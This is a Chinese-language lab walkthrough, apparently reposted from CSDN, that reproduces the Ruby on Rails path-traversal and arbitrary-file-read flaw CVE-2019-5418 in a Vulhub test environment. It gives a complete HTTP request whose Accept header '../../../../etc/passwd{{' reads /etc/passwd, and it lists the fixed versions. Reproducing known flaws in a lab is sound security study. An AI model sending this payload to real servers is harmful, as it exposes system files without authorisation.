0


【漏洞复现】Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

一、漏洞简介

1. 漏洞简介

Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们可以通过修改访问某控制器的请求包,通过…/…/…/…/来达到路径穿越的目的,然后再通过{{来闭合模板查询路径,那我们访问的文件会被当做外部模板来解析。

2. 危害等级

3. 影响范围

Rails全版本

其中修复版本:

6.0.0.beta3

5.2.2.1

5.1.6.2

5.0.7.2

4.2.11.1

二、 复现环境

靶机(搭建的Vulhub漏洞测试靶场):192.168.15.15
攻击机(kali):192.168.15.131
Vulhub漏洞测试靶场的搭建可参考:Vulhub漏洞测试靶场搭建

三、复现过程

1. 启动漏洞环境

使用Vulhub启动漏洞环境
在这里插入图片描述

2. 验证漏洞环境

访问链接:http:192.168.15.15:3000 出现以下界面证明环境搭建成功。

在这里插入图片描述

3. 漏洞复现

访问http://192.168.15.15:3000/robots可见,正常的robots.txt文件被读取出来。
在这里插入图片描述

利用漏洞,使用burpsuite修改Accept参数进行文件读取,读取/etc/passwd:

GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept:../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0(compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

在这里插入图片描述

成功读取到/etc/passwd文件,漏洞复现成功。

4. 关闭漏洞环境

使用完漏洞环境后记得及时关闭漏洞环境。

docker-compose down

在这里插入图片描述

四、修复建议

使用已经修复该漏洞的版本。

标签: 安全 网络安全

本文转载自: https://blog.csdn.net/zg_111/article/details/129792406
版权归原作者 网络安全小时光 所有, 如有侵权,请联系我们删除。

“【漏洞复现】Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)”的评论:

还没有评论